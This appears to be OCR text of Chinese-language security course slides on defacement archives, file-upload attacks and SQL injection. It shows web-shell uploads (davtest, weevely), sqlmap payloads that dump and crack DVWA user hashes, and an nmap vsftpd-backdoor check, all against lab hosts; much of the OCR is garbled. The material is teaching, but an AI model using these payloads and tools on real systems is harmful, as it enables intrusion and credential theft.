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Zone-h

Warning

A defacement is considered in all countries an unauthorized computer access, a denial of service action therefore a CRIME under all means,
even if you don't think so. The activity of defacing to warn the administrator of a bugged server about its vulnerable status is considered a
crime too and a questionable ethical conduct.

Zone-H accepts your notifications but doesn't support, condone, justify at all any defacing activity. Instead, we welcome you to stop such
activity or else you might face the same destiny of some notorious defacers who got arrested and jailed. See the following examples:

http://www.theregister.com/2005/05/28/deceptive_duo_hacker_jailed
http://www.theregister.co.uk/2005/10/27/secfocus_hacker_deport/page2.html
http://www.zone-h.org/content/view/4446/31

You might want to consider instead, the possibility to quit your ILLEGAL activity before getting jailed (because you will) as other defacers did
before you. See this example:

http://www.hackinthebox.org/modules.php?op=modload&name=Newsafile=articledsid=12044&mode=thread&order=0&thold=0

If you have any question or if you need any help or advice to convince you about all of the above, feel free to contact any of the Zone-H staff
members.

DISCLAIMER: all the information contained in Zone-H's cybercrime archive were either collected online from public sources or directly
notified anonymously to us. Zone-H is neither responsible for the reported computer crimes nor it is directly or indirectly involved with
them. You might find some offensive contents in the mirrored defacements. Zone-H didn't produce them so we cannot be responsible for
such contents.

If you are the administrator of an hacked site which is mirrored in Zone-H, please note that Zone-H is not related at all with the defacements
itself.

Don't ask us to remove the mirror of your defaced website, as a cybercrime archive Zone-H's mission is to keep the entries in the
database.

All the self-produced material belongs to Zone-H. You are free to use it as long as proper credits to Zone-H are reported as by the CC license
reportad below.

Zone-H is not responsible for the use/misuse of the published information, you can use it at your own risk.

We don't accept notifications through email, IP address notifications, notifications with fake and/or created subdomains by
notifier or with wrong attack methods selected.




H Zone-H.org - Unrestrict X

<« C O | @ www.zone-h.oo... ¥r | @ B ® WV ¢ & A w & &

Home Account MNews Events Archive Archive Onhold Motify Stats Logout Y

MOTIFIER DOMAIN | bw
Special defacements only Fulltext/Wildcard #' Onhold (Unpublished) only
Date @ | ALL A Apply filter

Total notifications: 40,147 of which 16,759 single ip and 23,388 mass defacements

Legend:

H - Homepage defacement

M - Mass defacement {click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)

L - IP address location
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2018/04/30 Oca4H_Id320T M www.songfuplums.com.tw/you.htm Linux
2018/04/30 BOc4H_Id30T M R iarc.org.tw/you.htm Limux
2018/04/30 BOc4H_IdzZ0T www, cbtw.com.tw/you.htm Linux
2018/04/27 I www.tns-global.com.tw/Mwd. htmil Limux
2018/04/27 etutor.moe.gov.tw/index.php Linux
2018/04/27 ronic P teachersen.fju.edu.tw/pl.html Linusx mirror
underbolt Team
2018/04/27 SatTaR M harvest.wfes.tp.edu.tw/iQ.htm Linux mirror
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H Zone-H.org - Unrestrict X

<« C Oy | @ wwwzo... x| @ B ® WV 4§ & A w @& & W > o by W T

Home Account News Events Archive Archive Onhold Motify Stats Logout =

MNOTIFIER DOMAINM |t
Special defacements cnly # Fulltext/Wildcard # Onhold (Unpublished) only

Date : | ALL v Apply filter

Total notifications: 1,757 of which 1,298 single ip and 459 mass defacemeants

Legend:

H - Homepage defacement

M - Mass defacement (click to view all defacements of this IP)

R - Redefacement (click to view all defacements of this site)

L - IP address location

#r - Special defacement {special defacements are important websites)
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oIS 0621 Emmareiverpool Tl 3 jiading-hr.kcg.gov.tw websites. .. Cinusx

2017/06/21 AmmarLiverpool M ¥ cishan88.kcg.gowv.tw/websites/i... Linux

2017/06/21 AmmarLiverpool M * barrier-free.kcg.gov.tw/websit... Linux v/

2017/06/21 AmmarLiverpool #r alianhouse.kcg.gov.tw/websites... Linux

2017/06/13 factor ¥ yctlo8.wda.gov.tw/krd. htmil Linux -
2017/06/13 factor W tkyhkm.wda.gov.tw/krd.html Limux

2017/06/13 factory * thmrwda.gov.tw/krd.html Unknown

2017/06/13 factoryx #r tcnrwda.gov.tw/ krd.html Linux
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Upload File Attack
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Upload File Attack

S ES

jQueryZl=JpitFile Upload EETEEQSEMTZQE%
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HEASELjQuery File UploadedimiE « oZEBRE HE—EFZEAIE 1T IREEMQuery

File Upload 5 E#EHIEE -

X/ BIET | 2018-10-22 8% EEEER #Enimomes=E  [DEED EED r‘“ =
mF

r

The problem is larger than a single project

O Features Business Explore Marketplace Pricing Signin  Signup

blueimp / jQuery-File-Upload

¢ Code Pull requests 1 Projects 0 Wik
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Upload File Attack

- FEESESE

HEAEmERIFEEREI

{F£Hdavtest -EEFIET

Name

Last moedified

Index of /dav/DavTestDir_ShKWNzf5PsvVL

Size Description

& Parent Directory

@ ShKWNziEPsvWL php cmd php
@ davtest ShKWNzfSPsVVL.asp
E] davtest ShEKWNzISPsVVL.aspx
@ daviest ShKWNzfSPsvVL.cfm
@ davtest ShKWNziSPsvVL.cgi
davtest ShKWNzfSPsvVL.html
@ davtest ShiWNzISPsVVL.jhtml
@ daviest ShKWNzi5PswWL jsp
@ davtest ShKWNzfSPsVVL.php
davtest ShKWNzfSPsvWL.pl
daviest ShKWNzfSPsvVL . shtml
daviest ShKWNzf5PsvVL .tk

04-Oct-2020 22:28
04-0ct-2020 22:28
04-0ct-2020 22:28
04-Oct-2020 22:28
04-Oct-2020 22:28
04-0ct-2020 22:28
04-Oct-2020 22:28
04-Oct-2020 22:28
04-0ct-2020 22:28
04-0ct-2020 22:28
04-Oct-2020 22:28
04-Oct-2020 22:28

@ ShEKWNzZISPsvVL_php_backdoor php 04-Oct-2020 22:28 3.1K

328
44
44
42
BE
26
a7
a7
24
66
182
19

Apache/2.2.8 (Ubuntu) DAVYZ Server at 192.168.40.61 Port 80

ERROR: Missing -url

Jusr/bin/davtest -url <ur [options]

delete everything uploa
postfix portion of di
DAV debug level 1-3

don't cr a director
only print out summary
use this instead of a r
send backdoors
uto - for any
nsion
-uploadfiles upload this fi (requi
-uploadloc+ upload file t s loc
-url+ url of DAV 1

—-rand+
-sendbd+

Example: /usr/bin/da

then MOVE to e

I A EN

Authorization (user:pass

ded when done
tory to cr

e
& req/resp to /tmp/perldav_debug
e

cutabl
y

andom string for filenames

5uc

res

ation/name (requires -uploadfile)

ocalhost/davdir

m ing file name(s) i .doors

/ dir

21




Upload File Attack

c HEAESHMERFERBAEAST - EHEEA LEERESR

© % 17216.101.2

Index of /dav/DavTestDir_OgXTL_Vrx

/home/onward/Desktop
Name Last modified Size Description ¢ http://172.16.101.2/dav/ auto
kkkkkhkkkkkkkkhkkhkkhkkhhkkhihhkhhkkhkhkkkhkkkhkkkkhkhkhkhhkkhhkkhhkk
aParent Directory _ Testing DAV connection
- SUCCEED: http://172.16.101.2/dav
@ OgXTL_Vrx_php_backdoor.php 06-Apr-2021 04:35 3.1K Fkk Rk ddk ok bk ok k kdok ko ko k kb k ko ko
@]OqXTL Vrx_php_cmd.php 06-Apr-2021 04:35 328 OTE Random string for this session: OgXTL_Vrx
[3 davtest OqXTL Vrx asp 06-Apr-2021 04:35 44 dokkdokkdododok ik koo koo dokokeokokokok dokokokokoiok dok kokokoiok ik kokokokok ok dok kokok kok ok
d _EH_V -~ 06-Aor-2021 04: 44 Creating directory
[P) davtest OgXTL_Vrx.aspx 6-Apr-20 35 AKCOL SUCCEED: Created http://172.16.101.2/dav/DavTestDir_OqXTL_Vrx
@ davtest OgXTL Vrx.cfm 06-Apr-2021 04:35 42 L T T L T T T T e e P T e T T T
[?] davtest_OgXTL_Vrx.cgi 06-Apr-2021 04:35 66 Sending test files e - _ 7 _
. jsp SUCCEED: ttp://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.
davtest_OgXTL_Vhiml 06-Apr-202104:35 26 jhtml  SUCCEED: http://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.J
[?) davtest OgXTL Vrx.jhtml 06-Apr-2021 04:35 37 aspx SUCCEED: http://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.
|2] davtest OgXTL_Vrx.jsp 06-Apr-2021 04:35 37 cgi SUCCEED: http://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.
- -~ a . php SUCCEED: http://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.
[P davtest OaXTL Vrx.php 06-Apr-202104:35 24 shtml  SUCCEED: http://172.16.101.2/dav/DavTestDir_0qXTL_Vrx/davtest_OqXTL_Vrx.
davtest OgXTL_Vrx.pl 06-Apr-2021 04:35 66 html SUCCEED: http://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.
davtest OgXTL_Vrx.shtml 06-Apr-2021 04:35 178 txt SUCCEED: http://172.16.101.2/dav/DavTestDir_0gXTL_Vrx/davtest_OgXTL_Vrx.
davtest OgXTL_Vrx.txt 06-Apr-2021 04:35 19 cfm SUCCEED: http://172.16.101.2/dav/DavTestDir_0qXTL_Vrx/davtest_OgXTL_Vrx.

asp SUCCEED: http://172.16.101.2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.

pl SUCCEED: http://172.16. .2/dav/DavTestDir_OgXTL_Vrx/davtest_OgXTL_Vrx.

Apache/2.2.8 (Ubuntu) DAV/2 Server at 172.16.101.2 Port 80

22




Upload File Attack

A1 LB &R

< > C @ © % 172.16.101.2

Current directory is: /var/www/dav/DavTestDir_cMktlrzD
Browse: /
Browse: /var/www/dav/DavTestDir cMktlrzD

execute command: pwd go

/var /www/dav/DavTestDir cMktJrzD

< > C @ © % 172.16.101.2

Current directory is: /var/www/dav/DavTestDir_OgXTL_Vrx
Browse: /
Browse: /var/www/dav/DavTestDir OgXTL_Vrx

execute command: go

upload file: #5E.. FBFER - to dir: upload
To browse:

Execute mysql query:

host: localhost
user: root
password:
database:
query:

execute

23




Upload File Attack

* WeevelyZE4PHP Web shell
* Weevely ZEAREE)E : weevely generate [BE] TG [EE BN ERRK

2 /home/onward/Desktop

weevely

weevely 4.0.1
Error: the following arguments are required: url, password

Run terminal or command on the target
weevely <URL> <password> [cmd]

[+] Recover an existing session
weevely session <path> [cmd]

[+] Generate new agent
weevely generate <password> <path>

2 /home/onward/Desktop
weevely generate test /home/onward/Desktop/shell.php
Generated '/home/onward/Desktop/shell.php' with password 'test' of 774 byte size.

24




Upload File Attack

* WeevelyZE4PHP Web shell

© BIEELEZEDVWA - THEHRBKZKaiEH - BREREEEwehEEZRAS®
L Zzshell 1ERLTN

Vulnerability: File Upload

Home ‘

instructions ‘ Choose an image to upload
Setup ‘ Browse... No file selected.
Brute Force ‘ Upload

o mand|ExsctHon ../../hackable/uploads/shell.php succesfully uploaded!

172.16.101.2/dvwa/hackable. X +

« C @ © & 172.16.101.2

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security

25




Upload File Attack

WeevelyZE&£EPHP Web shell

WHATIES - WRTLRINAIT - EREFEN LERID)

2 /home/onward/Desktop
weevely http://172.16.101.2/dvwa/hackable/uploads/shell.php test

[+] weevely 4.0.1

[+] Target: 172.16.101.2
[+] Session: /root/.weevely/sessions/172.16.101.2/shell_@.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ||

R T s e T~ —

@ /home/onward/Desktop
weevely http://172.16.101.2/dvwa/hackable/uploads/shell.php test

[+] weevely 4.0.1

[+] Target: 172.16.101.2
[+] session: /root/.weevely/sessions/172.16.101.2/shell_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely>

weevely> 1s

The remote script execution triggers an error 500, check script and payload integrity
dvwa_email.png

shell.php

wwwi-datag172.16.101.2: /var/www/dvwa/hackable/uploads $ pwd

The remote script execution triggers an error 500, check script and payload integrity
/var/vwm/dvwa/hackable/uploads

wevi-datag172.16.101.2: /var/wew/dvwa/hackable/uploads $ whoami

The remote script execution triggers an error 500, check script and payload integrity
wei-data

26
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SQL Injection

[R:N) HEZE - ASEIREENLE

HE:EE ( Yahoo Voice ) Wi HEBHREXNENEN - AR KRB olsE 2B R RE LA
B9 - FRUNRE oI DIAEE - e B R IRSRAV AR & B A 2845 -

ELL L LR L R P R e L

#44884( - Owned and Exposed - ) ’
S ' D E # Brought to you by the D33Ds Company #
“ #
# Target: <censored>.yahoo.com -
# Method: Union-based SQL Injection -
- #
LT TR ~ MBRITEN - BT FFAEFRERBERRERAERAERAERIFIRERUIRUFRIFHE
Jump to
| &
L] L mRE APPS tet 1. MySQL Variables
2. Database/Table/Column Names
3. email:pass dump (450k users)
Home » Featured, Headline, {@&gs | - Final Notes
PN
#4H PayPal ® »
1. MySQL Variables
Apple BIE ? REE ... .ooees e coms s 1600
/ CHARACTER SETS DIR «>> /home/y/share/mysqgl/charsets/
émiﬁ HAVE CRYPT =>> YES
CONNECT_TIMEOUT «>> 10
| INNODB_VERSION =>> 1.0.9
EDITOR_HANK 12 JULY 2012 10:57 AM AUTOMATIC SP_PRIVILEGES =>> ON
MAX BINLOG _SIZE =>> 1073741824 27
BINLOG CACHE SIZE =>> 32768
8 0 St DS51ARR. R SLOW_QUERY_LOG =>> ON
tweets BACK LOG =>> 50
S ————| - == PT MIN WORD LEN =>> 3 e e




SQL Injection

2017/08/03 16:18

(BB LZR Rz /B tAEBT T REMHABEEXZED "SI EEANSS
(2017volunteertk ) s A8 - HET LEASEHREEIME - BElEmEESOEEEREER - 248
BERBEXRED  AREXRE  FoESHSEa1858TIEELEE - —EHE -

NERRP - ZPLRGTHRZEANERNLZERT A ERBLEHY  EBERERNMEEE
( https ) B2 - BOAURRSREEEN ; MEEEHANESEASQL injection ( ERIBEIEL
ENFENETFZE) R - BENETEENG - BEJEREE LAMEEAER -

WEEER  BHAESEEIRBHONE TEIRE . BAREEZ N BHEXERZBMNES .
BRATHEZNENLZERKE  SEERAZE "B ONE TEERRE - Hi0BHR, ; Y&
FUuRBEER  BEASLXHE  ZE2MBArdE  BEEN 1 FERRASE  METEAERR
SEBOEEE L  ARTEMIRE T -

HAERNEZGHE - AERFABNERNSEC - & FEHBRFEENE LR ERRE KAE it E
ARMES - SEREZZEVURER - FEAK - #
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SQL Injection

c WBABMABSKEES
BEiE<S -

S

/E/\E -I-’I'F_HIZI/

S

o —

Attacker

AR R IAT /85 - EMATE

2ARBRIT IR R/ fE0A

7 o N

5

'III"III' ] % HITEREES
Web
DB
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SQL Injection
e PHP $;l, E/J SQL nm/igD—F

sSql="SELECT * FROM users WHERE id="" + uid + "'

« [EREA uid="myid"; pwd="12345678" - HEERISSqlF B E A

sSql="SELECT * FROM users WHERE id="myid' AND password='12345678

AND password=""

|
+pwd + """ |

BEZHEZW ARIAFITRINRIR :
SQLFEEZFE E A :

Suid= ORI =1
sSql="SELECT * FROM users WHERE id=

'OR1=1--"AND password:"
HE "--1 &£ SQLEBEZPARABNER - Fill ' -- ) BREANFSEE
" OR 1=1, ZK¥&EMII - FAEERNINE A LLA8LA

 BEE . "TERE.

ol
I

AT - MEYFETT
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SQL Injection

* SQL Injection 712

. # ETSQL A ASQL
F 3 E AR
: Injection$aAY Injection 53 %5
ERZ TR Ak EER Union-Based HEE R ERA
2 81E BRI AR Error-Based FAHER B Wé\
Blind-Based HITERARIES




SQL Injection

© J9mARE

s AR FEARABNMANABTETERE  KMEERNABERESN - FILIER
sl injectiony®@ )l -

/L__,\EQ
* TFURLERTOILAZESE E5|5% A and 1=1 and 1=2 & SQLETETF TRIFAsqEA -
* Post ;£ A

o [EMNEEZHAEMAESIFHAGEDEA - REBENFERBPEEIACTUERENE -
ATERSERZA » ( EHTMLPERERFENLNE  LEZESEHNES
B . HZEE post X RIBRM - A post BR AR EAEZZ get XX
URL B2E/REY © )
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SQL Injection

Sqglmap

sglmapE—EBEEENSQLEA LR - FEDeeEFHEIE AR - HElx
ERE R EBMyYSQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase#ISAP MaxDB -
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SQL Injection

° HHBI

#sqglmap -r $sgl.txt --dboms=mysql --dbs

/home/jason
sql.txt

e e {1.5.4.78dev}

e <7
11 Y

|-[v... |_|  http://sqlmap.org

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsib
onsible for any misuse or damage caused by this program

[*] starting @ 10:32:36 /2021-04-26/

[ ] [1InFO] parsing HTTP request from 'sql.txt

[10 36] [INFO] testing connection to the target URL

got a 302 redirect to 'http://192.168.62.132:80/dvwa/login.php'. Do you want to follow? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=12334 AND (SELECT 4884 FROM (SELECT(SLEEP(5)))uQ@Jr)&Submit=Submit

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=12334 UNION ALL SELECT NULL,CONCAT(@x71716a7171,0x444a724153764e486158444C564€79657a6F4a647156754152617a59587076657|

38] [INFO] testing MySQL
] [1 confirming MySQL
] [1nF0] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0
[1e 38] [INFO] fetching database names
available databases [7]:
[*] dvwa
information_schema
metasploit
mysql
owasp1e
tikiwiki
tikiwiki195
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SQL Injection

1 GET /dvwa/vulnerabilities/sqli_blind/?id=123§Submit=Submit HTTP/1.1
2 Host: 172.16.101.2
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 ES 1
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (1 Axt
5 Accept-Language: en-US,en;q=0.5
2 /home/onward/Desktop 6 Accept-Encoding: gzip, deflate
sqlmap -r sql.txt 7 Connection: close

8 Referer: http://172.16.101.2/dvwa/vulnerabilities/sqli_blind/
9 Cookie: security=low; PHPSESSID=3ab4ae5c1049b73151b65fe@fbl4de65
L0 Upgrade-Insecure-Requests: 1

http://sqlmap.or

[1] legal disclaimer: Sqlmap identified the following injection point(s) with a total of 93 HTTP(s) requests:
is the end user's res|___
no Uabity and 3¢ b ameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (gquery SLEEP)
Payload: id=123"' AND (SELECT 3067 FROM (SELECT(SLEEP(5)))JJKJ) AND 'CTpH'='CTpH&Submit=Submit

Type: UNION query

Title: Generic UNION query (NULL) - 2 columns

Payload: id=123" UNION ALL SELECT CONCAT(@x7178767171,0x506f6f4e45756e50585578564d50705371476F4T4556
6f4alta786c4064536e6d45667266674c4bed,0x7178627a71) ,NULL-- -&Submit=Submit

[11:57:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:57:58] [1NFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.16.101.2
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SQL Injection

* SglmapEEEMLE R E
* sqglmap -r sgl.txt --dbms=mysql --dbs

Type: UNION query

Title: Generic UNION query (NULL) - 2 columns

Payload: i1d=123"' UNION ALL SELECT CDNCAT(HX?i?B?ﬁ?l?l,ﬂx5@ﬁfﬁfﬁeﬁﬁ?ﬁﬁ6595855?8564d5@?@53?14?6f4f45566fﬁa
4a?86c4964536e6d456672666?4c4b6d,ix?l?BﬁZ?a?l),NULL—— -5Submit=Submit

:41] [1InFO] testing MysQL

:41] [WARNING] reflective value(s) found and filtering out
1] [InFO] confirming MySOL

41] [1NFo] the back-end DBMS is MySoL

nd DBMS: MySQL >= 5.0.0
1:41] [1INFO] fetching database names
available databases [7]:
dvwa
information_schema
metasploit
mysql
owasple
tikiwiki
tikiwiki1gs
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SQL Injection

SqlmapEsd & A FT 5 IR Bl E

sglmap -r sqgl.txt --dbms=mysql --batch --current-user --current-db

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns

Payload: id=123' UNION ALL SELECT CONCAT(@x7178767171,0x506f6f4e45756e59585578564d50705371476F4f45566f4a
4a786c4964536e6d45667266674c4bbd ,0x7178627a71) ,NULL-- -&Submit=Submit

2:12:13] [INFO] testing MySQL
: 3] [INFO] confirming MysSqQL
2:12:13] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.0

[12:12:13] [1InFO] fetching current user

[12:12:13] [wARNING] reflective value(s) found and filtering out

current user: 'rootgk'

[12:12:13] [1InFO] fetching current database

current database: 'dvwa’

[12:12:13] [1INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.16.101.2'
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SQL Injection

* SgimapEEEMRE
* sqglmap -r sgl.txt --dbms=mysql -D dvwa --tables

Type: UNION query
Title: Generic UNION gquery (NULL) - 2 columns

Payload: id=123' UNION ALL SELECT CONCAT(@x7178767171,0x506f6f4e45756e59585578564d50705371476F4f45566F4a
4a786c4964536e6d45667266674c4b6d,0x7178627a71) ,NULL-- -&Submit=Submit

[12 3] [INFO] testing MySQL
[12 [InNFO] confirming MySqQL
[12:15:54] [INFO] the back-end DBMS is MySaQL

back-end DBMS: MySQL >= 5.0.@

[12 1 [1nFO] fetching tables for database: 'dvwa’

[12 ] [wARNING] reflective value(s) found and filtering out
Database: dvwa

[2 tables]
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SQL Injection

+ Sqlmap#t i UserFr{E R 8 B 5%

* sqglmap -r sgl.txt --dbms=mysql -D dvwa -T users --columns

21] [1nFO] testing mysqL
1 [InFO] confirming MySqL
:20:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[1 21] [1NFO] fetching columns for table 'users' in database 'dvwa'
21] [wARNING] reflective value(s) found and filtering out
: dvwa

varchar(15) |

avatar varchar(70) |
first_name | varchar(15) |
IEEELE varchar(15) |
password varchar(32) |
I
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SQL Injection

* Sqlmap¥x i UserFf i R TR 515 22 4%

* sqglmap -r sgl.txt --dbms=mysql -D dvwa —C "user,password,user_id"

[12:21:47] [1InFO] cracked password 'abcl23' for hash 'e99al8c428cb38d5f260853678922e03"
[12 49] [INFO] cracked password 'charley' for hash '8d3533d75ae2c¢3966d7e0d4fcc69216b"
[12 :52] [INFO] cracked password 'letmein' for hash '0d107de9f5bbe4@cade3de5c71e9e9b7"
[12:21:53] [1NFO] cracked password 'password’ for hash 'Sf4dcc3b5aa765d61d8327deb882cf99"
Database: dvwa

Table: users

[5 entries]

$—————— ettt Tttt e T Tt

| password

+
I
1
1
1
1
1
1
1
+
:
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb | e99a18c428ch38d5f260853678922e03 (abcl23)
1337 | 8d3533d75ae2c3966d7e@d4fcc69216b (charley)
pablo | 0d107de9f5bbes@cade3de5c71e9e9b7 (letmein)
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password)

 —— et 1

+
I
1
1
1
1
1
1
1

+
:
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
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{0] 55 55 %4/ (Vulnerability)?

< _'ﬂE'EE'an BIF - BRIESASIERIE AR - IBEE R R AR

/J\

BB

= ¢ oh

« FPRERNTEZIBE (Information Systems Audit and Control Association, ISACA)

o —EERIETC

DRYEE 3R - OlEE —fEER AT iR fEask 2 — BB 1F L

iaeR - HOFNEBEZENERNEARENNNZERBRASRESE
NEZEBRABZSERENMESE - BRAENERZ - REMFAE

R UCERERETIR
© FMAREIER

== Bel
==

Z 512 (Open Web Application Security Project, OWASP)
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{0] 55 55 %4/ (Vulnerability)?

s —EZZREE—EEmPNEE DR EZBSEEmMIITEN
O 14 s i 2 14

o MENZ Z[CIES 0 (Microsoft Security Response Center, MSRC)
s BRI EES A ERNEEENIPACHBELEBRN
mRfE - FEULES| LR EEAR - BHRENS - RIFJLEAR

H R L] :
BB RER BB N TR RRES

LZEMNE

. ZHBRE

CERT)

CEIRIE - EMERSESHEERIETTE - A

4=4

% /)\#H (United States Computer Emergency Readiness Team, US-
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{0] 58 59 %4/ Fm @ (Vulnerability)?

© —HRRER - B ZERR FERBERRTTHER RS ( HITED
W5 ) PRUSSRS - 2MEANAER - SEREREE Y - SoEME
OJREEFERSXE
» BHMEB\ESTE (Common Vulnerabilities and Exposures, CVE® )

Bl e vunenabily) AT ERRE - MR RHELP Bug
B ltBug WA - BERENOREN - SRS TAMELEE

B 581
e —

o BEENAEGHEEIEZRIFE D0 (Taiwan Computer Emergency Response Team
/ Coordination Center, TWCERT/CC)
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Common Vulnerabilities and Exposures (CVE)

- HAAHRIESE (CVE)%\,}E =HEIE+ZF8 (DHS)EBNHT
Fo—EISE= FZB 48 Mitre Corporation - 5% #B & ET £ ZE A
BIRmN K E—R58Ra4R 5% (CVE-ID ~ CVE-
Number) - WaCEtimiAmEYE - FEHE - k&R - 18
e CVE-2011-2523

¢ 2011-5E
* 2523 - FERKIRE
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https://cve.mitre.org/

Common Vulnerabilities and Exposures (CVE)

> nmap -Pn -sS --script vuln -p 21 192.168.192.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-04 16:43 HKT
Nmap scan report for 192.168.192.131

Host is up (0.00028s latency).

STATE SERVICE
21/tcp open ftp
| ftp-vsftpd-backdoor:
VULNERABLE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
IDs: CVE:CVE-2011-2523 O0SVDB:73573
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: 2011-07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:

s/unix/ftp/vsftpd 234 backdoor.rb

http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-back
oored.html
http://osvdb.org/73573

I
|
|
I
I
|
|
I
I
|
| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploi
t
I
d
I
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
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Common Vulnerability Scoring System (CVSS)

* CVSS ( Common Vulnerability Scoring System )
- HEBBXERZRLHEEZ (NIAC)ZTEENRM
- HNREE(LHMHEE @ DIESAESMNBEEEAEE
o PITRYET(L 2 4R
* R LSRR PEE
© BIZENSRMEEMEMIRE
© M—BEVSIRARGIRE

* http://nvd.nist.gov/cvss.cfm?calculator
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Common Vulnerability Scoring System (CVSS)

* ARGIEHFMEEIENDEEIEZRM - X0 /V2HIVIIRAE - BELL
V2R AT TR AR

* Base Score Metrics

Attack Vector (AV) - O UA/E W8 —1[& & (o) fi 52 fmifE ?
Access Complexity (AC) - A w7 =0 E 2152
Authentication (Au) - X A & 208 05?

Confidentiality Impact (C) - Jm/ll & XS B 2N EERIE? Ex: 245 - T
is ~ BERlE

Integrity Impact (1) - @A EENHENE R IEcLN5?
Availability Impact (A) - Jmia = is ak B 12 #AE FHI5? Ex: DoS
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Common Vulnerability Scoring System (CVSS)

» Attack Vector (AV) » Access Complexity (AC)
* Network (N) - Low (L)
o ERRYE - ORBEZEOQLIEFE - AFH
:%IH RAIEE (Internet (WAN)) o o B o
* Adjacent Network (A) . Medium (M)
 FB¥EEAES (Local Network . BEEEE T IEE e
(LAN) ~ Bluetooth ~ Wi-Fi) TE IR E 7 0] LA 38R
* Local (L) . High (H)

» FThiFIE5S (Cable) - R AR EE RV TV FE S
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Common Vulnerability Scoring System (CVSS)

* Authentication (Au)
* Multiple (M)
© BELESEWE
* Single (S)
© B—1Emae il
* None (N)

el

Confidentiality Impact (C)

None (N)

BERAERR
Partial (P)

R B R ER D BN
Complete (C)

JUERESE B RATE

&
1N
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Common Vulnerability Scoring System (CVSS)

* Integrity Impact (I)
* None (N)

- HERTZEEATERE

* Partial (P)
» OB EnE R
* Complete (C)

* FFEERTDRESRIE

X

Availability Impact (A)

None (N)
HoHEAEERE
Partial (P)

o] DS Bk B 1R 8B 70 AR 75 #
RfE

Complete (C)

%L‘X%}ﬁ@’f?ﬁ%i\ﬁ/iﬁ
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ZE o ERER

NIET

Information Technology L aboratory

NATIONAL VULNERABILITY DATABASE

VULNERABILITY NETRICS

CVSS Version2

CVSS Base Score: NA

Impact Subscore: NA
oitability Subscore: NA
604 CVSS Temporal Score: Nt

CVSS Environmental Score: NA
fied Impact Subscore: NA
Overall CVSS Score: NA

Show Equations

CVss 2 Vector
A

Base Score Metrics

Exploitability Metrics ks

Access Vector (AV)* pact (C)*

Local (AV:L)  Adjacent Network (AV:A)  Network (AV:N) ial (CP)  Complete (CC)
Access Complexity A" Complexity, and Authenti e

ccess Complexty (AC) haw the vulnerability )

High (ACH]  Medium [ACM]  Low (ACIL) or not extra conditions are re jal{lP)  Complete (C}
Authentication (Au)* Ft(A)*

Multiple (Au:M) ~ Single (Au:S)  None {Au:N) ial (AP} Complete (A:C)

Temporal Score Metrics

Exploitability (E)
Unproven that exploit exists (EU) ~ Proofof concept code [EPOC)  Functional exploitexists [EF)  High (E:H)
Remediation Level (RL)

LG ICE Official fix (RL:OF)  Temporary fix (RLTF)  Workaround (RLW) ~ Unavailable (RL:U)

Report Confidence (RC)

LTI Unconfirmed (RCUC)  Uncomoborated (RCUR)  Confirmed (RC:C)

Environmental Score Metrics

General Modifiers
Collateral Damage Potential (CDP)
None (CDP:N)  Low (ightloss) (COPL)  Low-Medium (CDP-L)  Medium-High (COP:MH) | High [catastrophic loss) (CDP:H
Target Distribution (TD)
Mone [0%] {
Impact Subscore Modifiers
Confidentiality Requirement (CR)

LGN Low (CR:L]  Medium (CR:M)  High (C
Integrity Requirement (IR)

LG GATYE Low(R:L)  Medium (IR:M)  High (IRH)

N} Low([0-25%](TD:L)  Medium 26

%] (TD:M)  High [76-100%] (TD:H)
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F5mEMEEE

* CVSSe¥nle B G

(3% 4+ 4 & Eﬂfﬁ“ﬁﬁl"}g‘ALﬁiﬁﬁA\@
[ T

CVSS’I— e A 3k

EF'—?F'“&:
